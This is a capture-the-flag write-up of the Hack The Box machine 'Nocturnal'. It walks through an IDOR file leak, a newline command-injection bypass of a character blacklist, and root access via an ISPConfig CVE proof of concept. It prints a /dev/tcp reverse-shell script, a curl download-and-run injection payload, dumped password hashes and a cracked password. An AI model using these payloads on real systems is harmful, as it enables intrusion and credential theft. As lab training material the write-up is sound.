Skip to main content
HTB: Nocturnal
  1. Posts/

HTB: Nocturnal

Table of Contents

Introduction
#

Nocturnal starts with a website with an IDOR vulnerability that allows me to read other user’s files, get his password and log to admin panel. Inside the admin panel, there is a command injection vulnerability that will get me a foothold. For root, there is an instance of ISPConfig service with a PHP code injection vulnerability to get execution and a shell as root.

Recon
#

nmap
#

nmap finds two open TCP ports, 22 (SSH) and 80 (HTTP):

sudo nmap -sC -sV -oA nmap_scan/nmap_results 10.129.232.23
  • -sC for defaults scripts
  • -sV enumerate version
  • -oA output in all formats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-30 04:39 EDT
Nmap scan report for nocturnal.htb (10.129.232.23)
Host is up (0.035s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.22 seconds

Added nocturnal.htb to /etc/hosts.

The re-scan did not get any more information. Note the PHPSESSID suggesting PHP website.

Website - TCP 80
#

The website is a simple storage site.

Website

At the login page at /login.php has a form asking for username and password (common combinations like admin:admin did not work).

I can register a new user without any verification and log right in:

Logged_in

I can upload files here. When testing with a random image I get this error:

Extensions

After creating a sample .docx file and uploading it I see this:

Upload

When downloading the test file I intercepted the request:

Download

The request has simple username and file parameters. That is weird, let’s see what happens when I play with them.

When changing the file parameter I get new error message:

File_error

File does not exist. with a list of available files.

When changing the username parameter I get:

User_error

User not found.

This tells me there is a potential IDOR vulnerability. Could I maybe download other user’s files?

Let’s create another account and test that.

New_acc

So now I have:

User File
tester tester.docx
tester2 tester2.docx

Attempting to download other user’s file returns the File does not exist. error with a list on that user’s files.

idor_test
idor_test

Enumerate users
#

Thanks to that User not found. error message I saw before I can use ffuf to enumerate users.

ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=tester.docx' -b 'PHPSESSID=7mv10ent7fghr03ibk2j3s8psa' -w /usr/share/seclists/Usernames/Names/names.txt -fr 'User not found' 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=tester.docx
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/Names/names.txt
 :: Header           : Cookie: PHPSESSID=7mv10ent7fghr03ibk2j3s8psa
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: User not found
________________________________________________

admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 35ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 29ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 28ms]
:: Progress: [10177/10177] :: Job [1/1] :: 371 req/sec :: Duration: [0:00:23] :: Errors: 0 ::

This returns me 3 new accounts.

I can take a look if there are any files on any of these accounts.

Tobias and admin were empty but Amanda had privacy.odt:

amanda

If I visit /view.php?username=amanda&file=privacy.odt it will give me the file.

It is a welcome letter with a plaintext password:

password

Admin Panel
#

With the discovered password I can log in as Amanda and see she has access to the Admin Panel:

admin_panel
admin_panel

The Admin Panel has a functionality to create backups, simply by entering password and clicking the “Create Backup” button.

backup

The output I see looks like a zip command, so possible command injection vector.

Backup files
#

Looking at the backup

└─$ unzip backup_2025-11-02.zip 
Archive:  backup_2025-11-02.zip
[backup_2025-11-02.zip] admin.php password: 
  inflating: admin.php               
   creating: uploads/
  inflating: uploads/privacy.odt     
 extracting: uploads/tester2.docx    
 extracting: uploads/tester.docx     
  inflating: register.php            
  inflating: login.php               
  inflating: dashboard.php           
  inflating: index.php               
  inflating: view.php                
  inflating: logout.php              
  inflating: style.css  

especially the admin.php - there is the zip command:

<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }

        sleep(2);

        $logContents = file_get_contents($logFile);
        if (strpos($logContents, 'zip error') === false) {
            echo "<div class='backup-success'>";
            echo "<p>Backup created successfully.</p>";
            echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
            echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
            echo "</div>";
        } else {
            echo "<div class='error-message'>Error creating the backup.</div>";
        }

        unlink($logFile);
    }
}
?>

It is running the POST request parameters through the cleanEntry function, which removes most of the special characters and building a string from the sanitized output.

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

Command Injection
#

The cleanEntry function is a good start, but it is missing one very special character, \n. A new line will create a new command in the proc_open.

I can use it in the $password string and see what happen.

When I go with password=test%0aid%0a, which should be interpreted as:

zip -x './backups/*' -r -P test
id

I get a Permission denied the same with other basic commands.

%0a is URL encoded new line
err1

That is not what I expected and not the usual bash behavior. I tried it with bash -c giving me the final password: password=test%0abash%09-c%09"id"%0a

For the bash -c I can not use space as it gets filtered by cleanEntry, but can use %09 - URL encoded tab

Leaving me with:

zip -x './backups/*' -r -P test
bash    -c  "id"
id

Shell
#

Now when I got it working I can send a reverse shell.

I can not go with a bash reverse shell directly, because & is blocked, but I can create a shell.sh on my machine:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.73/4444 0>&1

Create a http server and download it to the box and run it using: password=test%0abash%09-c%09"curl%09http://10.10.14.73:8000/shell.sh%09-o%09shell.sh"%09bash%09shell.sh

shell_download

With that I get a shell at my listener:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.38.179] 60368
bash: cannot set terminal process group (1035): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nocturnal:~/nocturnal.htb$ 

In /var/www/nocturnal_database there is a nocturnal_database.db file:

www-data@nocturnal:~/nocturnal_database$ ls
ls
nocturnal_database.db
www-data@nocturnal:~/nocturnal_database$ sqlite3 nocturnal_database.db

Looking inside I can get all password hashes for users on the site:

sqlite3 nocturnal_database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
uploads  users  
sqlite> select * from users;
select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|kavi|f38cde1654b39fea2bd4f72f1ae4cdda
7|e0Al5|101ad4543a96a7fd84908fd0d802e7db
8|tester|f5d1278e8109edd94e1e4197e04873b9
9|tester2|2e9fcf8e3df4d415c96bcf288d5ca4ba
sqlite> 

Using crackstation I got password for tobias

cracked

SSH as Tobias
#

Using this password I can SSH in and take a look around.

Tobias can not run sudo

tobias@nocturnal:~$ sudo -l
[sudo] password for tobias: 
Sorry, user tobias may not run sudo on nocturnal.

and there is nothing interesting in his files, looking at listening ports I see something that might help:

tobias@nocturnal:~$ netstat -ltn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN

Port 8080 is active, but it was not on the nmap scan.

tobias@nocturnal:~$ ps auxww | grep 8080
root        1025  0.0  0.6 211568 27220 ?        Ss   10:50   0:00 /usr/bin/php -S 127.0.0.1:8080
tobias      2231  0.0  0.0   6432   660 pts/1    S+   12:18   0:00 grep --color=auto 8080

There is a PHP process runnig at 127.0.0.1:8080.

ISPConfig
#

I can use the SSH connection to port forward:

ssh -L [local_port]:[destination_address]:[destination_port] [username]@[ssh_server]

ssh -L 8081:localhost:8080 tobias@10.129.232.23

Now on visiting http://127.0.0.1:8081 in my browser, the ISPConfig login page loads:

ips1

I try to log in as tobias, but fail. But his password works for the admin account:

ips2

I can identify the version:

ips_version

And find there is a CVE, with PoC, for the running version.

cve

I can use that to get root:

└─$ python3 CVE-2023-46818/CVE-2023-46818.py http://127.0.0.1:8081 admin slowmotionapocalypse

[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Login successful!
[+] Fetching CSRF tokens...
[+] CSRF ID: language_edit_cdf892d010efb66ed54bc2fd
[+] CSRF Key: 4e64a8f4eca6465e0bf4c40147f45e4caa5815dd
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:8081/admin/sh.php
[+] Launching shell...

ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)

ispconfig-shell# 

All that remains is to grab the flag:

ispconfig-shell# cat /root/root.txt
a2e01f******************223
Author
~